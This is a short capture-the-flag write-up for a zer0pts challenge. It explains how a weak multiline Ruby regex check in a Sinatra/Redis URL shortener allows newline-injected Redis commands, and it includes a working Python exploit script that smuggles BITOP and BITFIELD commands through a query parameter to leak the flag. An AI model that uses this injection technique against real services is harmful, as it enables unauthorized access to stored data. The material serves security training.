zer0pts CTF
It was a URL shortening service built with sinatra
and redis
. the flag was in the redis as the flag
key, but we can get keys [0-9a-f]{16}
formmatted only.
However, ruby's regexp is a bit of weak. As default, it process given string as multiple line string. So strings like a "GET flag\naaaaaaaaaaaaaaaa"
pass the check.
And because of handcrafted redis client, we can inject any redis command as we like.
Thouth we can do redis command injection, but simply GET flag
won't be worked, just returned empty result. Because WEBrick server's redirect
instruction could not handle url like http://3.112.201.75:8004/zer0pts{....
My approach is:
flag
to another name (because flag
is overwritten every request). to do this, we can use BITOP
operation even RENAME
is forbidden._
using BITFIELD
. if we succeed to replace {
and }
, then http response can include the flag like zer0pts_......_
The script is
import requests
import os
import re
from binascii import hexlify
SERVER = 'http://3.112.201.75:8004'
r = requests.post(SERVER, data={
"url": "http://example.com/"
})
short = r.text.split("=")[1]
index = 8
while True:
key = hexlify(os.urandom(8)).decode()
requests.get(SERVER, params={
"q": "{short}\n\r\nBITOP AND {key} flag flag\r\nBITFIELD {key} SET u8 #7 95 SET u8 #{index} 95\r\n".format(short=short, key=key, index=index)
})
try:
r = requests.get(SERVER, params={
"q": key
})
if len(r.text) > 0:
print(re.findall("zer0pts[a-zA-Z0-9_\+\!\?]+", r.text))
break
except:
pass
index += 1
print(index, key)
then we got the flag zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}